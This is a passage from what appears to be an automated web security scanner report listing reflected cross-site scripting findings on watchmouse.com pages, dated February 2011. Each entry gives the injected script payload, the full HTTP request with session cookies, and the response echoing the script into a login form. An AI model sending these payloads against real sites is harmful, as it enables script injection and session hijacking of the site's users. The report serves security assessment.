User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:28 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-00da540cc403e3901ab5a98adb3587f8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ena38c0"><script>alert(1)</script>5e615693d87/our_promise.php" method="post">
...[SNIP]...

1.508. http://www.watchmouse.com/en/our_promise.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/our_promise.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4051e"><script>alert(1)</script>484adfeedff was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/our_promise.php4051e"><script>alert(1)</script>484adfeedff HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-63b5000df0544834477c83d41b1c1fa8"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/our_promise.php4051e"><script>alert(1)</script>484adfeedff" method="post">
...[SNIP]...

1.509. http://www.watchmouse.com/en/our_promise.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/our_promise.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 36641"><script>alert(1)</script>cc9a59dcd9e was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/our_promise.php?36641"><script>alert(1)</script>cc9a59dcd9e=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:26 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-1e3c0bfb1f28cafcffcdadf0225fe588"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13947

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/our_promise.php?36641"><script>alert(1)</script>cc9a59dcd9e=1" method="post">
...[SNIP]...

1.510. http://www.watchmouse.com/en/passwd.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/passwd.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 84acb"><script>alert(1)</script>2f2d6b3cdb6 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /en84acb"><script>alert(1)</script>2f2d6b3cdb6/passwd.php?mlang=en HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.13.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:03 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-f620eef0153b9c80bda770b6a3163076"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13145

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/en84acb"><script>alert(1)</script>2f2d6b3cdb6/passwd.php?mlang=en" method="post">
...[SNIP]...

1.511. http://www.watchmouse.com/en/passwd.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/passwd.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e567f"><script>alert(1)</script>1d6e35d6ae8 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/passwd.phpe567f"><script>alert(1)</script>1d6e35d6ae8?mlang=en HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/feature/public-status-page.html
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.13.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:08:15 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-8d8ca59c7587a7e0ea69593bff710c61"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13118

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/passwd.phpe567f"><script>alert(1)</script>1d6e35d6ae8?mlang=en" method="post">
...[SNIP]...

1.512. http://www.watchmouse.com/en/passwd.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/passwd.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9e952"><img%20src%3da%20onerror%3dalert(1)>1f407a037ce was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 9e952"><img src=a onerror=alert(1)>1f407a037ce in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

Request

GET /en/passwd.php/9e952"><img%20src%3da%20onerror%3dalert(1)>1f407a037ce HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.14.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:29:27 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-09b2abf952fcdc376215578254808119"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Length: 2402
Connection: close
Content-Type: text/html; charset=utf-8

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
<head>
<title>WatchMouse website monitoring service - Forgot your passwo
...[SNIP]...
<form method="post" name="9e952"><img src=a onerror=alert(1)>1f407a037ce" action="9e952">
...[SNIP]...

1.513. http://www.watchmouse.com/en/ping.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/ping.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload acd89"><script>alert(1)</script>70bd0208e1d was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enacd89"><script>alert(1)</script>70bd0208e1d/ping.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:12 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-d0742f5ada7518ecc189a46a864fc8d9"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13046

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enacd89"><script>alert(1)</script>70bd0208e1d/ping.php" method="post">
...[SNIP]...

1.514. http://www.watchmouse.com/en/ping.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/ping.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload f631d"><script>alert(1)</script>aac2f1df69f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/ping.phpf631d"><script>alert(1)</script>aac2f1df69f HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:07:14 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e84a932fa92b56c1ee50bc0c13e42517"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13019

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ping.phpf631d"><script>alert(1)</script>aac2f1df69f" method="post">
...[SNIP]...

1.515. http://www.watchmouse.com/en/ping.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/ping.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 47f4e"><script>alert(1)</script>52c0b0a610f was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/ping.php?47f4e"><script>alert(1)</script>52c0b0a610f=1 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 12:07:10 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-b9845305c64c7fb7439150eb4e5227bf"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 39161

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/ping.php?47f4e"><script>alert(1)</script>52c0b0a610f=1" method="post">
...[SNIP]...

1.516. http://www.watchmouse.com/en/plans_price.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b18c5"><script>alert(1)</script>056e37b8466 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enb18c5"><script>alert(1)</script>056e37b8466/plans_price.php HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:30 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-e36c617bad6f75d9f867d96c4fdf941a"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enb18c5"><script>alert(1)</script>056e37b8466/plans_price.php" method="post">
...[SNIP]...

1.517. http://www.watchmouse.com/en/plans_price.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload fd20d"><script>alert(1)</script>9b1a4de0c5f was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/plans_price.phpfd20d"><script>alert(1)</script>9b1a4de0c5f HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 11:59:31 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-572e1b99c6b409ad046af4796587dff1"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 13082

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/plans_price.phpfd20d"><script>alert(1)</script>9b1a4de0c5f" method="post">
...[SNIP]...

1.518. http://www.watchmouse.com/en/plans_price.php [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/plans_price.php

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6d899"><script>alert(1)</script>87dab0eebd5 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/plans_price.php?6d899"><script>alert(1)</script>87dab0eebd5=1 HTTP/1.1
Host: www.watchmouse.com
Proxy-Connection: keep-alive
Referer: http://www.watchmouse.com/en/
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.1.10.1297252772

Response

HTTP/1.1 200 OK
Date: Wed, 09 Feb 2011 11:59:27 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Last-Modified:
ETag: "0-en-5b19fcea6f723e9bf2d075d7b46c3eda"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Content-Type: text/html; charset=UTF-8
Content-Length: 55109

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/plans_price.php?6d899"><script>alert(1)</script>87dab0eebd5=1" method="post">
...[SNIP]...

1.519. http://www.watchmouse.com/en/press.php [REST URL parameter 1] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/press.php

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1bb5"><script>alert(1)</script>a6b74324670 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /enb1bb5"><script>alert(1)</script>a6b74324670/press.php HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response (redirected)

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:48 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-e2eab2f7ad4354f168093787bd73f4db"
Content-Language: en
P3P: policyref="/w3c/p3p.xml",CP="NOI DSP CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Vary: Accept-Encoding
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 13055

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head><tit
...[SNIP]...
<form id="login_form" action="https://secure.watchmouse.com/en/enb1bb5"><script>alert(1)</script>a6b74324670/press.php" method="post">
...[SNIP]...

1.520. http://www.watchmouse.com/en/press.php [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://www.watchmouse.com
Path:	/en/press.php

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a9964"><script>alert(1)</script>b39620f6cf2 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /en/press.phpa9964"><script>alert(1)</script>b39620f6cf2 HTTP/1.1
Host: www.watchmouse.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close
Cookie: WMCKft=2472846; WMCKsession=d16de10cd4e84822067bb04fa255a8b1; __utmz=165779128.1297196240.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/39; __utma=165779128.2111935903.1297196240.1297196240.1297252772.2; __utmc=165779128; __utmb=165779128.10.10.1297252772;

Response

HTTP/1.1 404 Not Found
Date: Wed, 09 Feb 2011 12:06:50 GMT
Server: Apache/2.2.9 (Debian)
X-Powered-By: PHP/5.2.6-1+lenny9
Expires:
Cache-Control: private, no-cache, must-revalidate, max-age=3600
Pragma: no-cache
Last-Modified:
ETag: "0-en-7c4fed7fd6c164264714f6adb90eda0a"
Content-Language: en
